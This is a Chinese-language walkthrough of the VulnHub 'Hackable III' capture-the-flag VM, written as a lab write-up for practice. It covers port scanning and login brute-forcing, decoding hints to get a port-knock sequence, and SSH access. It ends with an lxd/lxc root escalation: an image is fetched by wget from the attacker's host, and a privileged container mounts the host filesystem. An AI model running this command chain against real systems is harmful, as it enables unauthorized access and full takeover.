靶机介绍
中等难度的ctf虚拟机
参考链接:
参考博客:https://nepcodex.com/2021/07/hackable-iii-walkthrough-vulnhub/
虚拟机链接:https://www.vulnhub.com/entry/hackable-iii,720/
lxd,lxc提权:https://www.freebuf.com/articles/system/216803.html
开始练习
本机ip:192.168.56.102
nmap扫出目的机ip:192.168.56.107
nmap -sS 192.168.56.0/24
扫描开启服务
nmap -A -p- 192.168.56.107
扫描目录
dirsearch -e txt,php,html,flag,asp,aspx,bak,jpg,img,htm -r -u http://192.168.56.107
ssh为过滤状态,访问80端口,查看网页源码,发现提示,需要尝试上次日记中使用过的端口碰撞技术来解锁ssh端口,并且告诉老板approve .jpg(当时不太明白)
注释内容:
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->
查看可访问的目录,发现字典,应该可以用于爆破登录,寻找登录入口
再次访问初始页面,查看源码,放大后发现隐藏的菜单按钮,打开登录页面,使用BP暴力破解用户名密码
第一次用户名和密码都用字典,没有结果,想到可能是之前提示代码中的”jubiscleudo“是用户名,开始尝试
依旧没有结果,所以该字典应该是ssh的字典,但是发现登录后打开的是一个空的页面,查看原代码,发现是之前扫描到的”login.php“,基本动作就是连接数据库,从数据库中读取用户名密码信息,如果成功,就打开3.jpg,于是先下载3.jpg
查看之前扫描的目录,在”config.php“中发现数据库用户名密码等信息
结合两个代码,我们获取了mysql的数据库名称和用户名密码 ,这个页面再没有更多想法了,则尝试登录ssh,则需要端口序列来使用knock解锁22端口,就想到了之前没有用到的1.txt和2.txt,觉得这两个应该是端口序列
看了一眼大佬的提示,用base64编码解码1.ttxt,使用Brainfuck解码2.txt
echo MTAwMDA= | base64 -d
Brainfuck的在线解码网站:http://ctf.ssleye.com/brain.html
现在还缺少一个端口号,按照之前的文件名称想到了3.jpg,但是不知道怎么提取,于是查看提示,了解了这里使用了文件隐写,按照提示提取出端口,成功knock
steghide extract -sf 3.jpg
cat steganopayload148505.txt
knock 192.168.56.107 1000 4444 65535
nmap -A -p- 192.168.56.107
使用之前注释里的用户名和获得的字典爆破
得到用户名密码
ssh -l jubiscleudo 192.168.56.107
查看user.txt
cat .user.txt
进入sql失败,也没有发现本用户有特殊权限,返回上级目录,发现新用户名hackable_3
cd ../
id
ls -al
逐个访问目录,在访问/var/www/html下有隐藏文件.back_config.php
打开后得到hackable_3密码
切换用户,查看id和用户目录文件
id
cd /home/hackable_3
ls -al
查看id后
发现可以利用lxd,lxc提权
本机下载Alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
生成.tar.gz文件,打开server服务,传输给目标机
python -m SimpleHTTPServer
目标机获取镜像,将其以镜像的形式添加进LXD了
wget http://192.168.56.102:8000/alpine-v3.8-x86_64-20210805_0417.tar.gz
lxc image import ./alpine-v3.8-x86_64-20210805_0417.tar.gz --alias myimage
lxc image list
#.tar.gz文件是根据时间生成的,需要根据自己情况更改名称 --alias 后的名称也可以自己定义
初始化Container,否则在加载容器时会显示没有存储池
lxd init
一路回车
执行如下命令,成功提权
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
获取flag
cd /mnt/root/root
ls -al
cat root.txt
总结
线索较多,第一次使用lxc,lxd提权,Brainfuck编码,又一次用到了knock解锁端口